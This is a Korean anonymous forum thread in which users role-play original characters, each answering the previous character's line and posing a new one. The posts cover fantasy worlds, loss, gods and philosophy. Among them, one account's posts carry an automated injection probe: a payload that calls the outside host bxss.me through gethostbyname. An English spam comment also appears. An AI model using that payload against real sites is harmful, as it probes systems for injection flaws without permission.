자캐들이 위아래로 대화하는 어장 :: 218

이름 없음 2024-12-06 13:44:35

자캐들이 방에 뭔가를 두고 간다 :: 79

이름 없음 2024-12-03 23:03:54

자캐판 앓이스레 :: 31

이름 없음 2024-12-01 16:27:34

.자캐판 다이스 어장. :: 90

이름 없음 2024-10-10 22:32:42

🐣🐣자캐판 잡담스레 2판🐣🐣 :: 185

이름 없음 2024-09-22 02:14:40

자캐를 표현할 대사를 쓰는 어장 :: 152

이름 없음 2024-06-12 04:02:50

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>1592149154> 자캐들이 위아래로 대화하는 어장 :: 218

이름 없음

2020-06-15 00:39:04 - 2024-12-06 13:44:35

0 이름 없음 (4087757E+5)

2020-06-15 (모두 수고..) 00:39:04

알 참치들은 알겠지만 혹시 모르니까 예시까지 적어줄게.

ㅜ 저기, 나 꽃가루 알레르기가 너무 심해서 조퇴한다 그러면 담임선생님이 뭐라 할까?
ㅗ 꽃가루 알레르기로 조퇴를 해주는 담임선생님이 있다면 학교 1년쯤 더 다닐 수도 있겠는걸. 공부나 해라.

ㅜ 너, 이렇게 늦은 시간에 뭐 하고 있었어? 규칙에 어긋나는 일은 아니지?

168 이름 없음 (oJYofpEtYw)

2022-07-24 (내일 월요일) 03:24:49

ㅗ 뭐, 그렇지. 심지어 그 대상의 기억을 온전히 가지더라도, 그 대상이 나와 같다는 인식이 있더라도 완벽한 이해는 불가능하다더라. 살아온 환경에 따라 다른 믿음을 가지게 되어서 그렇다고 추측하지만... 분명 소실된 것 없이 완벽히 같은 영혼인데도 그렇다니, 참 이상하지? 아, 오해할까 봐 덧붙이는 건데 이건 내 얘기는 아니고 들은 얘기야. 이 이야기의 주인공이 이쪽에서는 나름 유명하거든.

ㅜ 친구라고 하기도, 아니라고 하기도 애매한 놈이 있는데 그 녀석은 왜 사서 고생을 하는지 모르겠어. 그러다 제재도 받고 반쯤 봉인될 뻔한 적도 있는데 꾸준히 호구짓을 하는 이유가 도대체 뭘까? 넌 이 녀석이 무슨 생각으로 이러는 건지 알겠냐?

169 이름 없음 (kZNIh8fyCc)

2022-07-26 (FIRE!) 16:31:49

ㅗ 아하하. 다소는 이해가 되네요. 저도 비슷한 과..인 것 같으니까요? 아마도? 그 분의 사정같은 건 저도 잘 모르니까 말을 좀 많이 고르게 되는데.. 일단 제가 생각하는 그런 분이 맞다면, 별로 이유가 없을 수도 있어요. 사실, 사람은 누구나 선의를 바라잖아. 그런 거 아니겠어요?

ㅜ 날이 좀 덥네요. 아이스크림 드실래요? 아, 제가 누구냐고요? 음, 그냥, 지나가던 사람이죠? 뭐 어때요. 나쁜 일은 없을 건데.

170 이름 없음 (B0O9xGv4JU)

2022-07-27 (水) 03:37:17

ㅗ 음... 으음... 이런 형태 비슷한 건 우리 세계에도 있어요! 다만 이게 그거랑 같은 건지는 확신이 안 드니까, 확실히 해두는 게 저한텐 좋겠죠?
이거, 우선 인간이 먹어도 되는 건 맞나요? 아니라면 정중하게 사양할게요! (해맑게 웃는 걸 보아 아마도 악의는 없다)

ㅜ 어딘가의 이세계에는 계절이라는 개념이 있대요! 신기하지 않아요? 그러니까, 확실하겐 모르겠지만, 날씨가 주기적으로 바뀌는....? 잠깐만, 이게 맞나...? (무슨 두꺼운 책을 휘리릭 펼친다) 죄송해요. 어제 처음으로 찾은 개념이라서, 솔직히 잘 모르겠어요.

171 이름 없음 (4hJwxKZ1rs)

2022-09-19 (모두 수고..) 20:18:11

ㅗ 그곳에는 계절이 없는 건가? ...음, 아니 충분히 그럴 수 있지. 나 역시 여러 세계를 두루 여행다니는 여행자로서, 그런 곳은 몇 번 경험해 봤으니까 말이야.
네가 기억하는 개념이 맞을 거다. 주기적으로 온도가 오르내리고, 하늘이 변하며, 그에 맞춰 그곳의 생명들 또한 주기적으로 변화하지.
백문이 불여일견이란 말이 있는데, 한 번 내 손을 잡고 다른 세계로 가 구경해보지 않겠어?

ㅜ 누구에게나 자유롭게 허락된 것이, 누군가에겐 허락되지 않은 것만큼 화나는 일은 없다고 생각해.
책임감이라는 거, 역시 싫지 않아?

172 이름 없음 (MknGq4fimg)

2022-10-12 (水) 08:14:24

ㅗ그걸 책임감이라고 하는 건가? 그건 불평등이잖아. 할 수 없는 일이 아니라, 할 수 있는 일에 집중하는게 좋다고 생각해.
ㅜ 아침인데 빨리 일어났네?

173 이름 없음 (6NBR9gMqsk)

2022-10-15 (파란날) 01:18:20

ㅗ 네, 언제나처럼요. 저는 실수가 많으니까, 더 빨리 일어나서 준비하지 않으면 안 되겠어요.

ㅜ 역시 저는 안 되나봐요. 요리에 손만 대면 난리가 나고, 청소도 했다 하면 뭐 하나 깨지는 건 당연하고, 장 하나 제대로 못 보다니…….
다른 사람들은 사고 없이 잘만 하는 것들인데 한심해요.
제가 할 수 있는 건 역시 기껏해야 외국어를 공부하고, 수식을 풀고, 사회현안에 대해 토론하고, 실험하고 발명품을 만들어내는 것 정도일까요…….
(딱히 기만하려는 악의는 없는 진심인 것 같다.)

174 이름 없음 (9uoyogQMN2)

2022-10-16 (내일 월요일) 23:47:01

ㅗ 뭐.. 뭐라고?! 엄청 대단한 녀석이었구나.. 왠지 귀티나게 생겼다했어. 그리고 너 자신의 약점도 잘 알고 있고. 이건 대단단 녀석이라고 부를수밖에. 위로가 될진 모르겠지만 나도 내가 뭐든 잘해야하는 줄 알았던 적이 있었어. 구차한 책임감 알량한 자존심이었지만.. 그랬었어. 그래도, 동료들을 만나고 작디작았던 내 세계가 부숴졌고 그제서야 난 바깥세상과 마주할 수 있었지. 네가 느끼는 네 자신의 부족함을 채워줄 인연을, 꼭 만나길 바랄게. 그리고 깨닫지 못했을 뿐 이미 주변에 있을지도 모르지. 눈을 크게 뜨고 잘 둘러봐. 여태껏 스스로를 관조했다면 이제는 다른 사람이 네게 주는 것들도 헤아릴 차례야. (손가락으로 당캐의 명치를 가리키며)답은 꼭 내면에만 있는 건 아니니까! 힘내라고!(곁으로 가 한손으로 등을 팡 친다)

ㅜ 하아.. 나이를 먹어가니 남의 사정에도 꼬치꼬치 참견하고 말아버리네. 방금도 그렇게 열을 올려선.. 하아. 내가 열다섯때는 그런 어른들이 귀찮았는데 말이야. 딱 나이가 두배가 되니까 내가 그런 어른이 되어버렸어.(머쓱한듯 웃는다) 아직 살날이 더 많은데.. 그, 젊은 꼰대같이 보이진 않았겠지?

175 이름 없음 (.ZogLfOloE)

2022-10-19 (水) 16:07:44

ㅗ 삶에 여유가 생기니 조언도 참견도 할 수 있는 것이지. 지금은 이해하지 못해도, 그들도 때가 되면 자네를 이해할테니 너무 걱정 마시게.
...뭐, 혹자는 입을 다무는 게 지혜라곤 하지만. 누군가의 삶에 영향을 끼치는 것 또한 또 하나의 지혜 아니겠어?

ㅜ 다른 이들의 질문은 이제 익숙한데, 아이들의 '내 아버지가 누구냐'에 대한 질문에는 익숙해지지 않더군. 내 부군께서는 자신을 드러내고 싶지 않아하기에.
반려와의 신뢰를 깰 수도 없고, 그렇다고 아이들의 제 뿌리에 대한 질문을 막을 수도 없으니 중간에 낀 나에게만 참으로 곤란한 일이야.
사실, 그를 설득할 수 있다면 좋겠지만... 아이들이나 그나, 둘 다 한 고집 하는 성격들이다 보니... 자네 혹시 묘수가 있나?

176 이름 없음 (9Y9aJr9KFI)

2022-11-11 (불탄다..!) 05:43:49

ㅗ글쎄, 이런 건 대화 말고는 뾰족한 수가 없지 않을까? 그쪽이랑 배우자가 계급이나 허물없이 동등한 사이라면 말이야. 나라면 내 입장을 배우자한테 솔직히 말하고 조율해볼 것 같은데. 배우자가 고집이 세다고 해서 그쪽이 곤란한 사실이 사라지는 건 아니잖아? 무슨 사정 때문에 애들 앞에 안 나서는지는 모르겠지만 그 쪽의 곤란함을 덜 방법을 찾는데 협조해야 한다고 생각해. 배우자라면 말이지.

ㅜ나는 노동 끝나고 마시는 맥주가 제일 좋은데, 그쪽은 고된 일을 끝내면 뭘 하는 걸 좋아해?

177 이름 없음 (pwYeqO5yb6)

2022-11-15 (FIRE!) 23:36:12

ㅗ당연히 우리 바~쁘신 소장님 얼굴 보기지. 내가 그 얼굴 하나 때문에 여기까지 왔는데... 어떻게 해서든! 저 먼 발치에서든! 창문 너머에서든! 반드시 보고 말거야!

ㅜ나는 첫눈에 반한다는게 말도 안된다고 생각했어. 근데 아니더라고. 그 사람을 보자마자 딱 느꼈지. 어떻게 이런 사람이 있을 수가 있지? 라고 말야. 근데 어떤 자식이 그 국보에 엄청 큰 상처를 냈지 뭐야. 믿겨져? 난 아직도 안믿겨져, 젠장... 언젠간 파묻어버릴테야.

178 이름 없음 (uU5JcKAj22)

2022-11-25 (불탄다..!) 05:01:58

ㅗ 한대 후려버리지 그랬어? 남의 자식 소중한걸 모르는 놈들은 입을 찢어놔야되. 그... 조커처럼.


ㅜ 턴제전투 게임을 보면 말이야 약한적부터 차례대로 어는데말이야 왜 그런가 의문을 가진 사람들이 많은데 말이야 곰곰이 생각보니까 그 유희왕 아나?
아주 옛날에 쓰였던 카드중에 고즈란 카드가 있단 말이지.
공격을 받으면 패에서 고즈를 소환하고 추가로 빋은 데미지 만큼의 공격력, 수비력을 가진 토큰을 소환한다인데 이게 옛날 환경 기준으로 굉장히 센 효과였거든.
고타점 토큰이 툭하고 튀어니오고 고즈 자체의 타점도 2700이나된단말이지.
그래서 그 때는 항상 가장 약한 몬스터부터 공격했어.
고즈가 튀어나오면 약한 몬스터는 공격을 못하니까.
마왕군도 잡졸들부터 툭툭 던져주며 지치게 만들려한게 아닐까?

179 이름 없음 (FCxvttmeIg)

2022-11-30 (水) 01:44:07

ㅗ 일리 있는 말이야. 다만 난 어떤 제약이 있을 지도 모른다고 생각하네. 마왕, 마족이란 다른 세계로 건너 가는… 건너 온 존재 아닌가? 갑작스럽게 큰 힘이 움직이는 건 어느 세계도 달가워 하지 않으니.

ㅜ 비록 외견은 그 어린 날에 멈춰 이렇지만 죽을 나이는 한참 넘었다네. 살 날이 얼마남지 않은 게 느껴져. 내가 죽기 전에 후계자를 정해야 하는데, 어째 자질 없는 놈들만 가득하니 한숨이 나와. 차라리 내가 직접 찾으러 나서는 게 낫겠는가? 그대는 어찌 생각하나?

180 이름 없음 (a0x/OoFspI)

2023-01-04 (水) 10:25:44

ㅗ 심히 동안인데? 내공이 그리 쌓였으니 노화가 늦는건 놀랄 일도 아니다만. 왜. 거북이도 천년을 산다는데 자네도 거북만큼 살지 그래. 내가 리본도 달아주고 예뻐해주지. 그러지말고 공고 모집을 하는게 어때? 자네가 나갔다가 그 미모에 붙잡혀 못 돌아올까 걱정인데.
ㅜ 그렇게 죽고 싶습니까? 그렇다면 그 소원 지금 이뤄드리죠. 왜요. 막상 진짜 죽으라고 하니 무섭습니까. 그런 표정을 짓는 이유는 뭡니까. 당신은 죽고 싶은게 아니라 지금 '그렇게 살고싶지 않은' 겁니다.

181 이름 없음 (.QuuDv027o)

2023-01-23 (모두 수고..) 14:21:02

ㅗ⋯하지만, 나는 죽어야만 그 새끼한테 내 몸이 완전히 빼앗기는 걸 막을 수 있을 거야. 그리고

182 이름 없음 (KP8h.iBhbQ)

2023-02-02 (거의 끝나감) 01:10:46

중간에 끊겼으니 내가 다시 이을게!
>>180
ㅗ ...아니, 틀렸어. 전혀 무섭지 않아. 살아갈 모든 이유가 사라지고, 빛바래버렸는데, 살고 싶을리가...하하. 지금 네가 그 소원을 정말로 들어줄 수 있다면, 참 좋을 텐데 말이야.

ㅜ 따뜻함을 알고 난 후 느끼는 한기는 너무 춥더라. 뼛속까지 시리는 한기는 아무리 따뜻한 천을 둘러싸도 사라지지 않고, 기억은 끔찍한 덫이 되어 어딜 가든 나를 물어뜯지. 누구든 외로울 때가, 괴로운 기억이 있겠지만 그것 뿐인 삶은 그저 고문일 뿐이지. 너의 삶은 전혀 다르길 바라.

183 이름 없음 (F3sn.D5bPA)

2023-03-23 (거의 끝나감) 12:00:40

ㅗ 그 덫은 목줄이 되어 나를 인도하고, 뼛속까지 시리는 한기는 그 고통을 매개채 삼아 내 존재를 뇌리에 깊이 박아넣지. 가을이 갔으니 겨울이 오는 것은 당연하고, 우리들은 이 추위를 안고 봄을 찾아 방황해야만 하지. 청승 좀 떨어 봤는데,안타깝게도 우리의 삶은 별반 다를게 없네. 네 고문도 끝이 나길.

ㅜ 내 존재를 증명하는 유일한 건 너일세. 네가 날 봐 주고, 목소리를 들어 주니 그제서야 나는 존재하는 것. 소멸과 삶 사이에 나를 두어 지탱하는 것은 얄량한 네 의식, 그것 하나 뿐이지. 네가 이 대화를 잊으면, 그대로 내 존재도 사라지는 것이야. 두려운가? 아니면...

184 이름 없음 (AaHShO6CwQ)

2023-03-29 (水) 04:39:31

ㅗ ...무슨 일이 있는 거에요? 내가 도와줄 수 있는 일인가요? 그러니까, 내가 이 대화를 기억한다면 괜찮은 건가요? 그건 제게 있어서 그리 힘든 일은 아니지만...
부디, 신의 축복이 당신과 함께하길 빌게요. 제가 아니라 만물을 관장하시는 그 분이 당신에게 도움을 줄 수 있도록 기도할게요.

ㅜ 저, 남편이 너무 좋아요. ...그래서 두려워요. 남편이 너무 잘난 것도, 인기있는 것도 불안하고, 지금 받는 사랑이 식을 때를 계속... 상상하게 되니까요.
애초에 서로 사랑해서 결혼하게 된 것도 아닌데... 내가 아니라 그 누가 내 자리에 있었어도 이루어졌을 흔한 정략혼인데... 계속 바라게 되어요. 나쁜 걸까요. 내가.

185 이름 없음 (qEUBBM8luw)

2023-04-02 (내일 월요일) 21:13:33

ㅗ 사랑이 죄는 아니지요? 나쁜 짓만 하지 않는다면, 금선을 넘지 않는다면 괜찮아요. 마음을 통제하는 건 무척 어려운 일이잖아요. 도를 닦아 이상을 바라는 수행자들, 삼라만상을 탐구하며 진리에 다가서는 마법사들은 감정의 값어치를 무시하는 경향이 있지만, 생명에게 있어 마음을 떼어놓을 수는 없는 일이죠.
그리고- 만약은 없습니다. 그것이 이뤄지는 건 활자로 이루어진 책 속에서죠. 현실이 아니에요. 지금 그분의 아내는 당신이시니, 걱정하지 마시기 바랍니다. 이에 대해 남편분과 대화를 하는 것도 좋다고 생각은 합니다만, 아무래도 두 분의 결혼 생활을 제가 알지는 못하니 감히 거기까지 조언하기는 힘들군요. 당신의 이야기가 로맨스판타지면 좋을 텐데. ..악역이 아니라요. 주인공의 자리로.

ㅜ 혹여 찾으시는 책이 있으신지요? 제게 찾아오는 분들은 대체로 그런지라. 다소 독특한 도서관의 주인으로써 어쩔 수 없는 운명이랄까요. 귀찮지 않다하면 거짓이겠습니다만 생각보다 즐겁기도 합니다. 혹시 옵니버스 소설을 즐겨 읽으시는지요? 저는 좋아합니다. 종종 책을 건네주고, 그 책으로 일어나는 사건을 보다보면 꽤 즐거운 옵니버스 식 이야기가 진행되는 것 같아 나쁘지 않습니다. 아- 물론, 너무 큰 일이 일어나지 않도록 적당히 조율하고 있습니다.
..혹시 악취미라고 생각하진 않으시겠죠..? 만약 그렇다면, 그 생각은 잠시 넣어두심이. 어차피 해야 하는 일, 조금 즐기는 것 정도야 적당한 요령 수준 아니겠습니까. 무엇보다 저는 새드 엔딩도 배드 엔딩도 다 좋아하지 않는 사람이라서요. 가능한 해피엔딩을 위해 노력하고 있답니다. 항상. ..죄업에 따라, 다소의 심술 정도는 부립니다만.
아. 말이 많이 샜군요. 아무튼 찾으시는 책이 있으신가요? 부디, 편하게 말씀해주세요.

186 이름 없음 (s9QZ2ePhBQ)

2023-04-13 (거의 끝나감) 11:36:29

ㅗ 인생이란 결국 책이지. 그 끝이 행복하더라도, 불행하더라도, 나는 작가가 그 등자인물들에게 최선의 엔딩을 주었다고 생각하네. 그러니 어느 책이든 상관 없어.
그래도 요즘 나이가 들어가며, 등장인물들이 행복하게 끝나는 이야기가 좋더군. 혹시 그런 책이 있으면 하나 추천해주겠나? 결국 다른 이들의 이야기지만, 지켜보는 것만으로도 충분히 행복할 때가 있으니 말이야.

ㅜ 조금 뜬금없는 질문이네만, 자네는 가장 두려워하는 것이 무엇인가? 하하, 약점 잡을 생각은 없어. 그냥, 때론 그런 이야기를 나누고 싶어지는 때가 있는 법이니.
...내가 가장 두려워하는 건, 혼자가 되는 것이라네. 아이러니하게도 내 운명은 내 주변인들을 가만두지 않아, 파멸로 몰아넣고 그것을 지켜보아야 하는 운명이네만, 그래도 혼자인 건 역시 싫지 않은가.

187 이름 없음 (X02K3LcQlM)

2023-04-25 (FIRE!) 12:38:59

ㅗ 제일 두려운 것이라, 솔직히 생각해본 적 없어. 천신이라는 자리는 무언가를 두려워하고 꺼리면서 지킬 수 있는 게 아니잖아? 소중한 사람이 죽어도, 혼자가 되어도 꼿꼿하게 서서 세상을 내려보아야 하는 게 신이야. 호불호 같은 개인적인 기호는 최우선 순위가 될 수 없어. 나는 전지하지도 않고, 전능하지도 않지만 무너져서는 안 되는 존재니까. 뭐... 관점에 따라 내가 어기면 안 된다고 생각하는 게 두려움이 될 수 있다면, 내 책임을 다하지 못하는 게 내 두려움이겠지.

ㅜ 수명이 조금 길고 특이한 능력을 사용할 수 있으니 조금 더 넓은 시야를 가질 수도 있겠지. 하지만 모든 것에 끝이 존재하고 신에게도 끝은 존재해. 신은 완벽하지 않아. 적어도 내가 아는 선에서 신은 세계에게 조금 더 많은 권한을 허락받았을 뿐이야. 세계의 제약에서 신도 벗어날 수 없어. 그중 한 예시가 '직접적인 개입'이고. 세계의 제약은 신에게 굉장히 큰 부담이야. 얼마나 개입하느냐에 따라 다르지만, 신격을 잃고 소멸하거나 자리를 비운 사이 담당하는 다른 세계가 멸망해버리는 경우도 있으니까. 그래서 대부분은 대리인을 보내 해결하려 해. 원치 않게 대리인이 된 이들에게는 참 잔인한 짓이지만 말이야.

188 이름 없음 (k2y1JotgVY)

2023-05-25 (거의 끝나감) 18:23:56

ㅗ 권한이 있기에 책임이 있다. 아주 뻔한 소리다. 힘이란 그런 법이지. 내게 힘이 있기에 나는 내 사람들을 지킬 의무가 있고, 내 가족들을 지켜야 하는 책임이 있어. 신이 가질 법한 대단한 권한과 책임까지는 모르지만, 세상의 섭리가 그런 것 아니겠나. 더군다나, 같은 인간들 사이에서라도 힘 있는 자라면 무릇 대리인을 세우는 것을 마땅하다 여기거늘.
...물론 나는, 대리인 따위 믿지 않지만. 대리인을 내세운 다는 것은, 내가 가진 권한의 일부와 함께 책임을 지우는 것. 과분한 권한이고, 감당할 수 없는 책임이지. 그럴 바에 나는 차라리 내가 직접 나서는 것을 선호한다.

ㅜ '상대적으로 약하더라도, 버티는 자가 결국 승리한다.'
내 누님의 가르침 중 하나였지. 아이러니하게도 그녀는 우리 중 가장 강한 자였지만, 그 말이 틀렸다고 생각하지 않는다. 힘이 강하지 않더라도 최선을 다해 버틴다면, 언젠가는 승리한다. 그러니 지금은 조금 약하다고 좌절하지 않아도 괜찮지만, 꺾인다면 영원히 패배하는 것이 된다.
그러니 나는, 무슨 일이 있어도 내 사람들을 지키기 위해 그저 버틸 뿐이다.

189 이름 없음 (aCxdmfHqFM)

2023-06-13 (FIRE!) 05:55:18

ㅗ 버티는 것이 무슨 가치가 있는가? 너의 몸을 보아라 눈은 빛을 잃었고 숨은 끊어지기 직전이다
너가 자랑하던 기술들은 더 이상 선보일 수 없으며 무엇 하나도 너를 지켜주지 못한다
거기에 더해,보아라 너의 곁에 대체 누가 남아있는가? 너가 지키고자 하는 자들은 생존을 위해 너를 버리고 달아났노라
다시금 묻노라, 버티는 것이 무슨 가치가 있는가?

ㅜ 사람들은 말한다 "선천적으로 악함을 지니고 났으나 선해지기 위해 노력하는것만큼 위대한건 없다" 고
그런 이야기를 입에 담는 자 중 선한 자는 과연 있었는가? 전부 씻지 못할 죄악을 저지르고 자신의 죄를 속죄하는듯 연기하고
저런 그럴듯한 망발을 입에 담는 필부들이 아니였는가?
아니,그들이 필부들이 아니였다고 가정한다고 한들 과연 그들이 이야기하는것에 '위대하다'는 말이 붙을 가치가 존재하는가?

190 이름 없음 (3yc3fqu42k)

2023-07-07 (불탄다..!) 01:13:18

ㅗ 세상에 선 따윈 없어. 있다고 해도 공통되는 세상의 선은 없지.
세상에 공통되는 위대함을 정의하여 강요하는 건 모순이고 문제이며 악이야.
서로가 서로에게 불쾌한 틀을 강요하며 자기 틀은 도무지 놓으려 하지 않지.
그렇기에 세상은 지옥보다 더 지옥 같은 거지.

ㅜ 죽은 자들에게는, 그들의 생애에 찬사를.
산 자들에게는, 그들의 노력에 무심을.

191 이름 없음 (kMvnNfDJAI)

2023-07-24 (모두 수고..) 23:38:58

ㅗ 죽은 자에겐 관대하고 산 자에겐 냉엄한것이, 마치 우리의 삶 자체가 그러한 모멸을 받아도 살아갈 가치가 있다고 시사하는것 같네.
이러한 고통조차 누군가가 갈망한 삶이라면, 지금 우리의 마음은 탐욕이나 기만에 가까운걸지도 모르겠어.

ㅜ 널 살아가게 하는 원동력은 뭐야?

192 이름 없음 (bn8dW7wNfU)

2023-07-25 (FIRE!) 00:51:37

ㅗ 동족의 구원. 머지않은 끝을 부정하는 것이 이 몸이 마왕의 자리에 오른 진의였다.

193 이름 없음 (bn8dW7wNfU)

2023-07-25 (FIRE!) 00:54:56

(실수로 다 쓰기 전에 올라가서 이어서 씀)

ㅜ 이 볼 것도 없는 황폐한 곳에 방문자라니, 특이하구나. 그래, 어떤 볼일이 있어 방문했는가?

194 이름 없음 (deTGaAkwH.)

2023-07-25 (FIRE!) 22:40:57

ㅗ 지평선 너머에 도달하려는 모험가이며, 신자입니다.
우리의 흔적 없는 신께서 본인의 모든것은 이곳과는 다른 고차원에 있다고 하니, 필멸자의 몸이지만 그곳의 편린이나마 닿으려고 발을 움직이고 있습니다.

ㅜ 그대가 믿는 것은 무엇입니까?
만약 신자라면 누구를 믿는지 알려주실수 있겠습니까?

195 이름 없음 (5jnNexNPaU)

2023-07-26 (水) 18:04:13

ㅗ 신 같은 건 안 믿어, 나 자신을 믿지. 신이 정말 있다면, 그때 스승님이 그런식으로 죽게 나두지는 않았을태니까

ㅜ ....조금 울적한 얘기를 해 버린것 같네, 다음 목적지는 결정해
뒀어?

196 이름 없음 (CMje3DP7N6)

2023-07-27 (거의 끝나감) 22:16:55

ㅗ ...내게 묻는 거야? 흐음- 딱히 생각한 곳이 없다면, 지금 내가 향하고 있는 숲은 어때?
그 곳엔 내 친구들이 많아. 기분이 울적하다면 풀 수 있을 거야.

ㅜ ...너, 나를 보고도 겁 먹지 않는구나. 신기하다.
내가 딱히 무섭게 생긴 건 아닌데, 체격도 평균보다 큰데 골격근량도 많고, 머리는 새까맣고 눈동자는 붉어서 첫 인상이 무섭다는 말을 종종 듣거든.
특히 어두운 곳에서 보면 노려보는 맹수 같다나... 이래봬도 상냥한 남자인데 말이야.
아무튼 너, 마음에 드는데 나랑 친구 할래?

197 이름 없음 (V22ROzR9CU)

2023-08-29 (FIRE!) 01:26:54

ㅗ 맹수를 보고 겁을 먹은 티를 내면 안 된다고 들었어. 등을 돌려 도망치면, 그대로 당하게 되니까. ...방금 말은 농담이야.
친구라... 오랜만에 듣는 말이네. 내가 네 말의 의미를 그렇게 거창하게 받아들인 게 아니었음 좋겠는데. 난... 음. 좋아. 하지만 일 상대가 아닌 사람에게 무슨 말을 꺼내야 할지 막막해. 적절한 대화 방법을 연구해 와야겠어.

ㅜ 옳은 세상이란 뭘까. 네 생각을 알고 싶어. 너무 막연한 질문이라고 생각한다면, 이렇게 질문할게. 이 세상에서 없어져야 하는 게 뭐라고 생각해? 남아야 하는 건?

198 이름 없음 (RE5I3C5lh.)

2023-09-02 (파란날) 21:57:14

ㅗ 음음... 아무리 생각해봐도 내 관념과 선택이 과연 "옳을까" 싶네.
난 이래뵈도 개똥철학의 소유자걸랑.
"옳고 그름은 개인적인 것이다! 절대적 진리라고 하는 것도 우리 인간의 '지 입에 달면 삼키고 쓰면 뱉는다'가 중심인 사고방식을 통해 여과되기 때문에 절대적이지도 진리도 아니다!" 대충 이런 식.
물론 이 세상에서 없어져야 하는 건 많고도 많지!
세상 살아가는데 괴로움들이 없어져야 한다는 주장에 대부분의 사람들은 고개를 끄덕일거야. 왜냐면 우리는 공감하는 생물이고 어지간히 미운 놈이 아니고서야 우리의 괴로움을 남도 겪지 않았으면 하잖아, 안그래?

...그런데 있지, 내가 상상력이 부족하고 융통성 없는 인간이라 그런 걸 수도 있는데... 자동차 브랜드 기아 말고, 영양분이 부족해서 앓는 기아는 어떻게 없애지? 모두가 항상 배부름 만땅인 상태로 사는 거야? 그러면 식욕이란 욕구와 기아라는 개념이 없어지는 거야, 아니면... (꼬리에 꼬리를 문 질문 공세가 장장 4시간 동안 이어졌다.)


ㅜ 펀하고 섹시하고 쿨한, 낭만 가득 방구석 철학자! 리리님 등장!
리리 또또캐! 머시써! 재미써!


...쓰읍, 방금 나 너무 관종 같았니?

199 이름 없음 (soc4VPodJM)

2023-09-04 (모두 수고..) 23:13:28

ㅗ 구경하는 재미가 있었으니 된 게 아니려나? 인터넷에서 흥미로운 이야기를 보고 키우기 시작했던 내 소중한 낙지를 동료가 먹어버렸지 뭐야. 그래서 한동안 우울하게 지냈거든. 재밌었어★

ㅜ 게임 밖의 사람들은 모르지만, 다른 게임과 달리 여기 게임 관리자... 그러니까 우리는 게임 속에 살고 있어. 근데 이게 생각보다 지루하단 말이지. 그래서! 너처럼 여기 게임 플레이어가 아닌 사람을 보는 건 흔치 않은 기회란 거지. 마침 한가한 시간인데 네 이야기를 들려주지 않겠어★

200 이름 없음 (XxLowcyVPU)

2023-10-22 (내일 월요일) 23:48:57

ㅗ 게임이라... 이쪽은 꿈에서 살고 있어. 하, 내가 꿈의 주인이었다면 얼마나 좋았으려나? 그랬더라면 주인이 깨지 못하게 막는 일도 없을텐데 말이야.

ㅜ 있지, 넌 희생하는 거랑 희생시키는 것 중에 어떤 걸 더 좋아해? 이쪽은 희생시키는 쪽인데.

201 이름 없음 (oV19qb/2dQ)

2023-12-07 (거의 끝나감) 15:39:26

ㅗ 되도록 희생 없이 끝내는 걸 선호하지만… 필요하다면 어느 쪽이든 희생시키는 선택을 하는 편이라 잘 모르겠네요. 어느 쪽이든 유쾌한 선택은 아니잖아요? 그렇지만, 뭐… 꼭 필요한 경우가 아니면 희생하기 싫으니. 굳이 따지자면 저도 '희생시키는 쪽'이겠어요.

ㅜ 안녕하세요, 좋은 날씨죠? 그렇지만 곧 비가 올 것 같네요. 어떻게 알았냐고요? 제가 비를 정-말 싫어해서요. 아, 당신도 특별히 싫어하는 게 있나요?

202 이름 없음 (F7NtUig0Nw)

2023-12-28 (거의 끝나감) 00:00:45

ㅗ 더운 거랑 습한 거. 덥고 습하면 이제 죽는 거라고.

ㅜ 참으로 멋진 세상이야, 너도 그렇게 생각하지? 웃으면서 살자고 친구!

203 이름 없음 (l/sRU0czFA)

2024-01-04 (거의 끝나감) 15:18:17

ㅗ 건강한 생각이로군! 내 칭찬함세! 이 멋진 세상의 모든 걸 즐기는 마음으로 사세나! 와하하하!

ㅜ 힘차고 강한 아침일세! 같이 땀 좀 흘려 볼 생각 없는가? 건강한 육체엔 건강한 생각이 깃들기 마련일세! 자자, 사양하지 말고!

204 이름 없음 (.p3mGxG5sw)

2024-03-05 (FIRE!) 17:08:09

ㅗ ...또 자네인가? 하아, 아침 시간은 방해하지 말라고 내가 지난번에 친절하게 공지하지 않았었나? 모르는 것 같으니까 한번만 다시 말해주지. 당장 나가.

ㅜ비오는 날에는 그 특유의 냄새가 참 좋군. 온 세상이 살아 숨 쉬는 느낌이 나거든. 아, 커피, 우유, 홍차 중에 무엇으로 할텐가?

205 이름 없음 (PRzcIqwKbY)

2024-03-11 (모두 수고..) 21:16:43

ㅗ 커피우유는 없나?우유의 담백함과 커피의 위력이 필요하거든.

ㅜ 세상은 미스테리로 가득하지.우리의 눈 앞에 보이는 딱 봐도 무서운 이 폐가도 말이야.같이 탐험하지 않겠는가?

206 CpjJwWHV (Vr1VHnxxq2)

2024-05-12 (내일 월요일) 08:14:56

555

207 CpjJwWHV (Vr1VHnxxq2)

2024-05-12 (내일 월요일) 08:14:56

555

208 CpjJwWHV (Vr1VHnxxq2)

2024-05-12 (내일 월요일) 08:15:08

'.gethostbyname(lc('hitpu'.'kepobjsq2595e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(85).chr(111).chr(74).'

209 CpjJwWHV (Vr1VHnxxq2)

2024-05-12 (내일 월요일) 08:15:17

555

210 CpjJwWHV (Vr1VHnxxq2)

2024-05-12 (내일 월요일) 08:15:29

555

211 CpjJwWHV (Vr1VHnxxq2)

2024-05-12 (내일 월요일) 08:15:58

555

212 이름 없음 (n/oNifI6W.)

2024-05-12 (내일 월요일) 21:15:06

ㅗ 이런 거에 흥미가 있는 모양이구나? 좋아, 하지만 별 일 없다고 실망하기는 없기야. 어쩌면 내가 있어서 다 도망갈지도 모르니까. 응? 허세 부리지 말라고? 하하, 조금쯤은 봐줄래?

ㅜ 나한테도 동생이 있으면 좋을 텐데... 아, 미안. 정정할게. 장성해서 지금까지 살아 있는 동생이 있으면, 좋을 텐데.

213 פרסום באינסטגרם (x.WL2PhA1I)

2024-07-24 (水) 11:08:07

You could certainly see your skills within the article
you write. The world hopes for more passionate writers
like you who are not afraid to mention how they believe.
Always follow your heart.

214 이름 없음 (m6tp7goth6)

2024-10-14 (모두 수고..) 14:29:29

ㅗ 가족의 상실은 무겁고 힘든 일이죠. 저도 제가 어릴 적 아버지가 돌아가셔서 이해해요.
지금까지 그 분이, 그 사람이 우리와 함께 하고 있었더라면 좋을 텐데, 라고 상상하는 것도 어쩔 수 없는 일이죠.

ㅜ 아버지를 죽인 대상에게 복수하겠어- 같은 건, 역시 너무 진부한 인생 목표일까요?
